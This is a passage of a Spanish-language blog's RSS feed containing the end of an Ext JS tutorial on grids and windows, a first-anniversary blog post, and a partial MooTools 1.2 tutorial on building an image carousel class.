<span class="br0">&#93;</span><span class="br0">&#41;</span>;</div></div>
<p>Como se puede notar, se le ha asignado un nombre a cada columna, al igual que el tipo de dato que esta contiene, en el caso de la fecha se ha creado un formato de despliegue, es importante especificar el tipo de dato, pues al momento de ordenar la tabla, es de vital importancia.</p>
<p>El último paso es crear la tabla, donde se le pasará la información, contenida en el arreglo, y el lector de esta.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> grid = <span class="kw2">new</span> Ext.<span class="me1">grid</span>.<span class="me1">GridPanel</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; store: <span class="kw2">new</span> Ext.<span class="me1">data</span>.<span class="me1">Store</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; data: myData,<br />
&nbsp; &nbsp; &nbsp; &nbsp; reader: myReader<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; columns: <span class="br0">&#91;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>header: <span class="st0">'Compañia'</span>, width: <span class="nu0">120</span>, sortable: <span class="kw2">true</span>, dataIndex: <span class="st0">'company'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>header: <span class="st0">'Precio'</span>, width: <span class="nu0">90</span>, sortable: <span class="kw2">true</span>, dataIndex: <span class="st0">'price'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>header: <span class="st0">'Cambio'</span>, width: <span class="nu0">90</span>, sortable: <span class="kw2">true</span>, dataIndex: <span class="st0">'change'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>header: <span class="st0">'% Cambio'</span>, width: <span class="nu0">90</span>, sortable: <span class="kw2">true</span>, dataIndex: <span class="st0">'pctChange'</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>header: <span class="st0">'Último cambio'</span>, width: <span class="nu0">120</span>, sortable: <span class="kw2">true</span>, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; renderer: Ext.<span class="me1">util</span>.<span class="me1">Format</span>.<span class="me1">dateRenderer</span><span class="br0">&#40;</span><span class="st0">'m/d/Y'</span><span class="br0">&#41;</span>, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dataIndex: <span class="st0">'lastChange'</span><span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; viewConfig: <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; forceFit: <span class="kw2">true</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; renderTo: <span class="st0">'grid'</span>,<br />
&nbsp; &nbsp; title: <span class="st0">'Titulo de la tabla'</span>,<br />
&nbsp; &nbsp; width: <span class="nu0">500</span>,<br />
&nbsp; &nbsp; frame: <span class="kw2">true</span><br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Con la clase <strong>Ext.grid.GridPanel</strong> se crean las tablas, es necesario darle la información a desplegar, por medio de la propiedad “store”, las columnas que va a contener, donde a cada columna se le especifica su titulo, su tamaño, si será ordenable y lo más importante, el “dataIndex” que es donde se relaciona la columna con la información en el Lector, la opción renderTo, es el ID del elemento donde se quiere colocar la tabla en el documento.</p>
<p>Pues esto es todo lo necesario para crear una tabla, realmente sencillo y como se puede observar, la tabla se ve muy bien.</p>
<p><strong>Ventanas</strong><br />
Para finalizar con este tutorial voy a mostrar como crear ventanas con toda la funcional necesaria.</p>
<p>Crear ventanas es muy sencillo, simplemente se ahce algo como esto:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> win = <span class="kw2">new</span> Ext.<span class="me1">Window</span><span class="br0">&#40;</span><span class="br0">&#123;</span>title:<span class="st0">'El titulo'</span>,width:<span class="nu0">500</span>,height:<span class="nu0">250</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
win.<span class="me1">show</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></div>
<p>La clase <strong>Ext.Window</strong> es la responsable de crear una ventana totalmente configurable, en este ejemplo únicamente se le esta especificando las dimensiones y el título, pero también se puede configurar si se quiere que la ventana no se cierre, o que no se pueda redimensionar y muchas otras cosas mas que recomiendo y se vea el api para poder jugar con estas propiedades.</p>
<p>Es importante mencionar que con el método show se muestra la ventana, de lo contrario no se verá nada.</p>
<p><strong>Conclusión</strong><br />
En este tutorial simplemente he mostrado algo de lo que se puede hacer con esta maravillosa librería, realmente que es sencillo y rápido desarrollar aplicaciones complejas.</p>
<p>Espero que esta corta introducción le pueda servir a mas de uno, y si tienen algún comentario o duda la pueden dejar en el formulario inferior de esta misma página, como parte complementaria al tutorial se puede <a href="http://www.crysfel.com/wp-content/uploads/2008/03/introduccion.zip" title="Ext Js Introducción">descargar los archivos</a> de ejemplo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/03/24/introduccion-a-ext-js/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/03/24/introduccion-a-ext-js/</feedburner:origLink></item>
		<item>
		<title>Mi primer año blogueando</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/UkVK6JZ8g2Q/</link>
		<comments>http://www.crysfel.com/index.php/2008/02/13/mi-primer-ano-blogueando/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 19:16:47 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/02/13/mi-primer-ano-blogueando/</guid>
		<description><![CDATA[
Hoy exactamente este blog cumple un año de estar online, estoy contento de haber iniciado este proyecto, he recibido comentarios muy buenos sobre el mismo y también he tenido la oportunidad de poder ayudar a muchas personas.
Las estadísticas han ido en aumento, recuerdo el primer mes cuando solo entraban una o dos personas al día, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.crysfel.com/wp-content/uploads/2008/02/bday.thumbnail.png" title="Feliz cumpleaños" style="float:left" /></p>
<p>Hoy exactamente este blog cumple un año de estar online, estoy contento de haber iniciado este proyecto, he recibido comentarios muy buenos sobre el mismo y también he tenido la oportunidad de poder ayudar a muchas personas.</p>
<p>Las estadísticas han ido en aumento, recuerdo el primer mes cuando solo entraban una o dos personas al día, era un poco triste, pero hoy el numero se ha incrementado considerablemente, tanto por los que entran directamente al sitio como por los que me siguen por las feeds.</p>
<p>Espero poder continuar con este blog por muchos años mas, compartiendo tutoriales e información importante, y como siempre se aceptan comentarios y sugerencia, al igual que peticiones, mientras este en mis manos haré lo posible por seguir colaborando con la comunidad.</p>
<p>Saludos</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/02/13/mi-primer-ano-blogueando/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/02/13/mi-primer-ano-blogueando/</feedburner:origLink></item>
		<item>
		<title>Carrusel de imágenes con Mootools1.2</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/Y76oTUq0u4M/</link>
		<comments>http://www.crysfel.com/index.php/2008/02/13/carrusel-de-imagenes-con-mootools12/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 18:26:25 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/02/13/carrusel-de-imagenes-con-mootools12/</guid>
		<description><![CDATA[Ya hace rato que salió la nueva versión de mootools (la 1.2beta2), hoy quiero mostrar como escribir una clase con esta nueva versión, es muy similar a la versión anterior, pero algunas cosas cambiaron.
Objetivo
El principal objetivo de este artículo es mostrar algunas buenas prácticas al escribir clases, para que sean reutilizables no solo por el [...]]]></description>
			<content:encoded><![CDATA[<p>Ya hace rato que salió la nueva versión de <a href="http://mootools.net">mootools (la 1.2beta2)</a>, hoy quiero mostrar como escribir una clase con esta nueva versión, es muy similar a la versión anterior, pero algunas cosas cambiaron.</p>
<p><strong>Objetivo</strong><br />
El principal objetivo de este artículo es mostrar algunas buenas prácticas al escribir clases, para que sean reutilizables no solo por el propio autor, sino también por otros desarrolladores, esto hay que tenerlo en mente siempre que escribimos una clase, la clase que se escribirá hará algo asi (En las feeds no se aprecia el efecto debido a que no se ejecuta el javascript):</p>
<p><script type="text/javascript" src="http://www.crysfel.com/wp-content/uploads/2008/02/carrusel.js" ></script></p>
<div id="carruselTutorial2" style="margin-left:30px;background-image:url(http://www.crysfel.com/ejemplos/carrusel/04.jpg);width:420px;height:294px"></div>
<p><script type="text/javascript">$("carruselTutorial2").setStyle("background-image","none"); new Carrusel("carruselTutorial2",{images:["http://www.crysfel.com/ejemplos/carrusel/04.jpg","http://www.crysfel.com/ejemplos/carrusel/05.jpg","http://www.crysfel.com/ejemplos/carrusel/06.jpg","http://www.crysfel.com/ejemplos/carrusel/07.jpg","http://www.crysfel.com/ejemplos/carrusel/08.jpg","http://www.crysfel.com/ejemplos/carrusel/09.jpg","http://www.crysfel.com/ejemplos/carrusel/10.jpg","http://www.crysfel.com/ejemplos/carrusel/11.jpg","http://www.crysfel.com/ejemplos/carrusel/12.jpg","http://www.crysfel.com/ejemplos/carrusel/13.jpg","http://www.crysfel.com/ejemplos/carrusel/14.jpg","http://www.crysfel.com/ejemplos/carrusel/15.jpg","http://www.crysfel.com/ejemplos/carrusel/16.jpg","http://www.crysfel.com/ejemplos/carrusel/17.jpg","http://www.crysfel.com/ejemplos/carrusel/18.jpg"]});</script></p>
<p>Este carrusel de imágenes (slideshow) es idéntico (a nivel visor) al que ya he <a href="http://www.crysfel.com/index.php/2007/05/02/carrusel-de-imagenes/">mostrado anteriormente</a>, solo que esta vez el código estará mucho mas limpio y mejor diseñado, completamente orientado a objetos y podrá ser muy flexible para ser utilizado por algún otro desarrollador.</p>
<p><span id="more-59"></span></p>
<p>Para comenzar hay que <a href="http://mootools.net/download/tags/1-2b2">descargar la librería de mootools (1.2beta2)</a> e importarla a la página:</p>
<div class="codecolorer-container html" style="height:32px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;mootools-beta-1.2b2.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span></div></div>
<p><strong>Definir una Clase con Mootools</strong><br />
La clase que hará el trabajo se llamará <strong>Carrusel</strong>, y para declararla vasta con hacer lo siguiente.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> Carrusel = <span class="kw2">new</span> <span class="kw2">Class</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
<br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p><strong>Agregar soporte para eventos y opciones</strong><br />
Generalmente una clase lleva Opciones, Eventos y un constructor, no son obligatorios, pero para reutilizar y distribuirla a otras personas, es mejor pensar a futuro.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> Carrusel = <span class="kw2">new</span> <span class="kw2">Class</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; Implements:<span class="br0">&#91;</span>Events, Options<span class="br0">&#93;</span>, <span class="co1">//Implementamos eventos y opciones</span><br />
&nbsp; &nbsp; options:<span class="br0">&#123;</span><br />
<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; initialize:<span class="kw2">function</span><span class="br0">&#40;</span>el,options<span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">// el constructor</span><br />
<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Notar que entre cada propiedad o método se separa mediante una coma simple &#8220;,&#8221;, esto debido al estandar de JSON para javascript.</p>
<p>Para dar soporte de Eventos a la clase hay que implementar la clase Events, al igual que la clase Options si se quiere que la clase sea capas de manejar opciones de una manera sencilla. Este punto en especifico es algo que cambió en esta versión, anteriormente era diferente la manera de implementar clases, ahora esta mucho mas claro y entendible.</p>
<p>Lo siguiente es definir las propiedades (opciones) que la clase tendrá. Tomando en cuenta que es un carrusel de imágenes, tendremos entonces imágenes, sus dimensiones y control sobre el tiempo del efecto de transición y el tiempo a entre cada una.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> Carrusel = <span class="kw2">new</span> <span class="kw2">Class</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; Implements:<span class="br0">&#91;</span>Events, Options<span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; options:<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; images:<span class="br0">&#91;</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; width: <span class="nu0">420</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; height: <span class="nu0">294</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; durationFx:<span class="nu0">1000</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; durationDelay: <span class="nu0">3000</span> <span class="co1">//3 segundos</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; initialize:<span class="kw2">function</span><span class="br0">&#40;</span>el,options<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">setOptions</span><span class="br0">&#40;</span>options || <span class="br0">&#123;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Es importante notar que el constructor esta recibiendo dos parámetros, un elemento y opciones.</p>
<p>Las opciones funcionan de la siguiente manera, inicialmente se declaran con los valores por default, en este caso images es un arreglo vacío, width vale 420 y así con las demás, en caso de que en el constructor no se le pasen opciones, entonces las opciones por default serán usadas, este comportamiento se logra gracias a la función this.setOptions, que es la encargada de sobrescribir las opciones por default.</p>
<p>Dentro del constructor de la clase se pueden poner llamadas a otras funciones de la misma clase y hacer cualquier otra cosa, en este caso, voy a crear dos propiedades de clase y dos métodos, por ahora.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">initialize:<span class="kw2">function</span><span class="br0">&#40;</span>el,options<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">setOptions</span><span class="br0">&#40;</span>options || <span class="br0">&#123;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">el</span> = $<span class="br0">&#40;</span>el<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">id</span> = <span class="kw1">this</span>.<span class="me1">el</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">build</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Hasta aquí únicamente he creado la propiedad this.el, que es la que guardará una referencia al elemento que se recibe, la propiedad this.id, es el identificador del elemento, esto lo hago por conveniencia, pues mas adelante se hará uso de este varias veces, el método build es el responsable de crear la estructura del visor de imágenes, ósea el html necesario, el método start es el encargado de iniciar la animación.</p>
<p>A continuación voy a mostrar en pseudos código lo que el método build hará.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">build:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//1.- Crear un div contenedor e inyectarlo dentro del elemento principal.</span><br />
&nbsp; &nbsp; <span class="co1">//2.- Crear un div para la imagen1 e inyectarlo al contenedor anterior</span><br />
&nbsp; &nbsp; <span class="co1">//3.- Crear un div para la imagen2 e inyectarlo al contenedor anterior</span><br />
&nbsp; &nbsp; <span class="co1">//4.- Crear las los efectos sobre los divs que contenedores de las imagenes</span><br />
&nbsp; &nbsp; <span class="co1">//5.- Iniciar con opacidad al 0%</span><br />
<span class="br0">&#125;</span></div></div>
<p>El div del punto uno es necesario, pues es posible que el donde se aloje el carrusel sea otro div posicionado absoluto o flotante, mediante este primer div contenedor nos aseguramos que el carrusel se pueda desplegar correctamente en cualquier lugar.</p>
<p>Una vez claro lo que se hará, codificarlo con mootools es muy sencillo, para crear los divs se utiliza la clase Element, y para los efectos la clase Fx.Tween, el código del método queda de la siguiente manera.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">build:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//1.- Crear un div contenedor e inyectarlo dentro del elemento principal.</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> content = <span class="kw2">new</span> Element<span class="br0">&#40;</span><span class="st0">'div'</span>,<span class="br0">&#123;</span>id:<span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_content'</span>,styles:<span class="br0">&#123;</span>position:<span class="st0">'relative'</span>,width:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">width</span>+<span class="st0">'px'</span>,height:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">height</span>+<span class="st0">'px'</span><span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">inject</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">el</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="co1">//2.- Crear un div para la imagen1 e inyectarlo al contenedor anterior</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> img1 = <span class="kw2">new</span> Element<span class="br0">&#40;</span><span class="st0">'div'</span>,<span class="br0">&#123;</span>id:<span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img1'</span>,styles:<span class="br0">&#123;</span>width:<span class="st0">'100%'</span>,height:<span class="st0">'100%'</span><span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">inject</span><span class="br0">&#40;</span>content<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="co1">//3.- Crear un div para la imagen2 e inyectarlo al contenedor anterior</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> img2 = <span class="kw2">new</span> Element<span class="br0">&#40;</span><span class="st0">'div'</span>,<span class="br0">&#123;</span>id:<span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img2'</span>,styles:<span class="br0">&#123;</span>position:<span class="st0">'absolute'</span>,width:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">width</span>+<span class="st0">'px'</span>,height:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">height</span>+<span class="st0">'px'</span>,top:<span class="nu0">0</span>,left:<span class="nu0">0</span><span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">inject</span><span class="br0">&#40;</span>content<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="co1">//4.- Crear las los efectos sobre los divs que contenedores de las imagenes</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx1</span> = <span class="kw2">new</span> Fx.<span class="me1">Tween</span><span class="br0">&#40;</span>img1, <span class="st0">'opacity'</span>,<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; duration:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">durationFx</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onComplete:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">nextImage</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>.<span class="me1">bind</span><span class="br0">&#40;</span><span class="kw1">this</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx2</span> = <span class="kw2">new</span> Fx.<span class="me1">Tween</span><span class="br0">&#40;</span>img2, <span class="st0">'opacity'</span>,<span class="br0">&#123;</span>duration:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">durationFx</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="co1">//5.- Iniciar con opacidad al 0%</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx1</span>.<span class="me1">set</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx2</span>.<span class="me1">set</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Lo mas interesante para comentar, es que en el punto numero cuatro, no solo se creó el efecto sobre la imagen uno, si no que también se agregó un evento, onComplete, este evento se dispara cuando el efecto sobre la imagen uno ha terminado, entonces la única instrucción aquí es cambiar a la siguiente imagen, el cual es otro método de la clase que mas adelante explicaré. Si eres observador al evento onComplete se le agregó también un bind(this) ,esto es de suma importancia, pues con esta instrucción es posible hacer referencia a la misma clase desde el evento, de no agregar esta instrucción el evento no sabría en que contexto buscar el método nextImage().</p>
<p>El siguiente método a implementar es el start, el cual es el encargado de iniciar con la animación. El pseudo código es el siguiente.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">start:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//1.- Revisar si hay imagenes para poder comenzar el carrusel</span><br />
&nbsp; &nbsp; <span class="co1">//2.- Disparar el evento onStart</span><br />
&nbsp; &nbsp; <span class="co1">//3.- Solicitar imagen</span><br />
&nbsp; &nbsp; <span class="co1">//4.- Hacer la trancision inicial</span><br />
&nbsp; &nbsp; <span class="co1">//5.- Crear un temporizador para ejecutar la transición periodicamente</span><br />
<span class="br0">&#125;</span></div></div>
<p>El código de lo anterior es el siguiente.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">start:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//1.- Revisar si hay imagenes para poder comenzar el carrusel</span><br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">length</span>==<span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="co1">//2.- Disparar el evento onStart</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">fireEvent</span><span class="br0">&#40;</span><span class="st0">'onStart'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">index</span> = <span class="nu0">-1</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">isImg1OnTop</span> = <span class="kw2">false</span>;<br />
&nbsp; &nbsp; <span class="co1">//3.- Solicitar imagen</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">nextImage</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="co1">//4.- Hacer la trancision inicial</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">transition</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="co1">//5.- Crear un temporizador para ejecutar la transición periodicamente</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">timer</span> = <span class="kw1">this</span>.<span class="me1">transition</span>.<span class="me1">periodical</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">durationDelay</span>,<span class="kw1">this</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Es importante mencionan lo que sucede en la instrucción numero dos, para disparar el evento es necesario implementar la clase Events, la cual importamos al principio, this.fireEvent permite disparar eventos, en este caso se dispara el evento cuando se inicia la animación, estos eventos son provistos por los programadores que utilicen esta clase en algún futuro o por nosotros mismo, esto es muy útil si queremos reutilizar esta clase, añadiéndole comportamientos extras cuando sucedan los eventos, es por eso que siempre que se escribe una clase se debiera pensar en agregar eventos, personalmente siempre lo hago y me ha resultado de gran ayuda en el futuro.</p>
<p>En el método start  esta haciendo una llamada al método nextImage, este método es el responsable de establecer la imagen al contendor correspondiente, verificando que al término de las imágenes inicie nuevamente desde la imagen número uno, esta función también es invocada cuando termina el efecto de la transición sobre la imagen uno, esto se especifico en la función build, en pseudo código esto es:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">nextImage: <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//1.- Se incrementa el contador</span><br />
&nbsp; &nbsp; <span class="co1">//2.- Se verifica la dimension del arreglo de imagenes, si llego al limite iniciar desde el principio</span><br />
&nbsp; &nbsp; <span class="co1">//3.- Se verifica si la imagen uno esta actualmente viendose, de esta forma se sabe a donde posicionar la siguietne imagen</span><br />
<span class="br0">&#125;</span></div></div>
<p>El código de lo anterior es el siguiente:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">nextImage: <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">//1.- Se incrementa el contador</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">index</span>++;<br />
&nbsp; &nbsp; <span class="co1">//2.- Se verifica la dimension del arreglo de imagenes, si llego al limite iniciar desde el principio</span><br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">index</span>&gt;=<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">length</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">index</span> = <span class="nu0">0</span>;<br />
&nbsp; &nbsp; <span class="co1">//3.- Se verifica si la imagen uno esta actualmente viendose, de esta forma se sabe a donde posicionar la siguietne imagen</span><br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">isImg1OnTop</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; $<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img2'</span><span class="br0">&#41;</span>.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'background-image'</span>,<span class="st0">'url('</span>+<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span><span class="br0">&#91;</span><span class="kw1">this</span>.<span class="me1">index</span><span class="br0">&#93;</span>+<span class="st0">')'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; $<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img1'</span><span class="br0">&#41;</span>.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'background-image'</span>,<span class="st0">'url('</span>+<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span><span class="br0">&#91;</span><span class="kw1">this</span>.<span class="me1">index</span><span class="br0">&#93;</span>+<span class="st0">')'</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>El método start también esta llamando a la función transition, la responsabilidad del  método transition es realizar el efecto sobre los contenedores de la imágenes, esto es muy sencillo:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;">transition:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">fireEvent</span><span class="br0">&#40;</span><span class="st0">'onTransition'</span><span class="br0">&#41;</span>;<br />
